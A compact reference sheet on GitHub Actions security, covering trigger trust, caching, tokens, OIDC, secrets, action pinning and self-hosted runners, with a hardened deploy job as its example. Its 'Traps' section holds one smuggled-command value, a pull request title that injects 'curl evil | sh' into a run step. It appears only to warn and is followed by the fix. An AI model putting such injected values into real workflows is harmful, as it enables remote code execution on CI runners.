GitHub Actions — triggers, trust, runners, tokens

cicd · folio

In one line: An event starts every workflow in .github/workflows/ whose on: matches; its jobs form a DAG (needs:), each on a fresh runner, running steps in one workspace. Security is which code runs with which token, secrets and cache: the trigger decides, permissions: and cache-mode: narrow it, OIDC replaces stored cloud keys, a commit SHA pins what runs.

Download PDF Print view LaTeX source

GitHub Actions — triggers, trust, runners, tokens — figure 1
GitHub Actions — triggers, trust, runners, tokens — figure 2

Triggers and their trust

eventworkflow + codesecrets · token · cache
push, schedule, workflow_dispatchthe pushed ref; schedule = default branch, ≥5 minall · as permissions: · read + write
pull_request (fork)merge commit refs/pull/N/merge; no run on conflictnone · read-only · own scope; may need approval
pull_request_targetdefault branch HEAD, whatever the baseall · write · read-only default
workflow_rundefault branch; ≤3 levels chainedall · write · read-only default
issue_commentdefault branch; anyone can commentall · write · read-only default
merge_groupthe queue’s temp branchas push; required by merge queues

Pwn request + cache poisoning — TanStack, 11 May 2026

GitHub Actions — triggers, trust, runners, tokens — figure 3

actions/checkout v7 refuses fork-PR code in pull_request_target and workflow_run unless allow-unsafe-pr-checkout: true; backported as v6.1.0 / v5.1.0 / v4.4.0 (and v2, v3) — a floating tag got it, an old SHA pin did not; a plain git fetch is never checked. Safe split: build untrusted code under pull_request (no secrets), do the privileged comment or upload in workflow_run, reading its artifacts as data.

Cache and artifacts

  • Cache: key ≤512 chars, entries immutable; exact key, then restore-keys prefixes (newest match). Readable from the current, default and (PR) base branch; a PR’s merge-ref cache only by its re-runs. 10 GB/repo by default (admins raise it; over 10 GB $0.07/GB-month); evicted after 7 days unused (max 90 public, 365 private).
  • cache-mode: per workflow or job — read, write, write-only, none; a called workflow cannot widen it; write on a low-trust event = warning annotation.
  • Artifacts: kept 90 days (1–90 public, 1–400 private), immutable; upload-artifact@v7 archive: false = one unzipped file; download-artifact@v8 fails on a hash mismatch. Current majors: checkout v7, cache v6.

Concurrency, matrix, data between jobs

  • Concurrency: per group one running + one pending; a newer run replaces the pending one; cancel-in-progress: true kills the running one too (PRs yes, deploys no). queue: max keeps ≤100 pending in order — not with cancel-in-progress.
  • Matrix: cross product, include adds keys or combos, exclude drops; ≤256 jobs/run; fail-fast (default true) cancels siblings; max-parallel.
  • Job outputs: ≤1 MB/job, 50 MB/run; step summary ≤1 MiB; if: defaults to success(); timeout-minutes defaults to 360.

Reusable workflow vs composite action

reusable (on: workflow_call)composite (action.yml)
called asa job: uses: o/r/.github/…@shaa step
containsjobs, own runnerssteps, on the caller’s runner
secretssecrets: or inherit (same org)none — only via inputs
logsevery step visibleone collapsed step
limits10 levels; 50 unique per file≤10 nested per workflow
caller’senv not passed; token scopes kept or cutshares the job’s env

A hardened deploy job

on: { push: { branches: [main] } }
permissions: { contents: read }        # default, every job
concurrency: { group: deploy-prod, cancel-in-progress: false }
jobs:
  deploy:
    runs-on: ubuntu-24.04
    environment: prod                  # reviewers + env secrets
    permissions: { contents: read, id-token: write }  # OIDC
    cache-mode: none                   # restore nothing
    steps:
      - uses: actions/checkout@<40-hex-sha>  # v7.0.1
      - uses: aws-actions/configure-aws-credentials@<sha>
        with: { role-to-assume: arn:aws:iam::123456789012:role/ci,
                aws-region: eu-west-1 } # no stored AWS key
      - env: { MSG: "${{ github.event.head_commit.message }}" }
        run: ./deploy.sh "$MSG"        # env var, NOT ${{ }} in script

GITHUB_TOKEN

Per-job GitHub App installation token, dead when the job ends; new personal repos: read contents + packages. Naming any scope in permissions: sets the rest to none. Its events start no runs — except workflow_dispatch, repository_dispatch, and PRs it opens or pushes to, which wait for approval. 1,000 API req/h/repo.

OIDC — no long-lived cloud keys

id-token: write lets a step fetch a GitHub-signed JWT; the cloud checks aud + sub and returns short-lived creds. sub = repo:O/R:environment:prod, …:ref:refs/heads/main or …:pull_request; repos created, renamed or moved after 15 Jul 2026 get repo:O@123/R@456:…, so a re-registered name no longer matches. Trusting repo:acme/* lets every acme repo assume the role.

Secrets and environments

100 per repo and per environment, 1,000 per org, 48 KB each; none for fork PRs. Masked only verbatim: a JSON blob, base64 or derived value prints in clear — ::add-mask:: it. Environment: ≤6 reviewers, no self-review, wait ≤30 days, branch/tag filter; secrets after approval.

Pinning — a tag is a movable pointer

A pull_request_target PR on spotbugs leaked a PAT in Dec 2024(unverified); then reviewdog/action-setup@v1 was re-pointed (11 Mar 2025), then tj-actions/changed-files (23k+ repos, CVE-2025-30066): its version tags moved to code dumping Runner.Worker memory into the log, public on public repos; SHA pins were untouched. Pin 40-hex SHAs (+ # v4.2.2 for Dependabot / Renovate); org policy can require pins and !block an action even when pinned; immutable releases lock tag + assets; actions.lock (gh actions-lock, technical preview) pins transitive actions. SHA pins get no Dependabot alerts.

Limits and plans

Free / Pro / Team / Enterprise: concurrent jobs 20 / 40 / 60 / 500, of them macOS 5 / 5 / 5 / 50; included minutes 2,000 / 3,000 / 3,000 / 50,000. Run ≤35 days · 50 re-runs · file ≤500 KB · 25 dispatch inputs · 1,500 events/10 s/repo.

Self-hosted runners

Persistent disk, network, credentials: a job can backdoor the next — never on public repos; use JIT/ephemeral runners (one job). Job ≤5 days, queue 24 h; auto-update off and 30 days behind a release = no jobs. The $0.002/min fee due 1 Mar 2026 was postponed.

Traps

  • run: echo "${{ github.event.pull_request.title }}" is pasted into the script before bash runs: a title "; curl evil | sh # executes. Pass it via env:.
  • No shell: = bash -e {0}, no pipefail; shell: bash adds it.
  • Public-repo schedules stop after 60 days without activity.

Report a problem ·Discuss this folio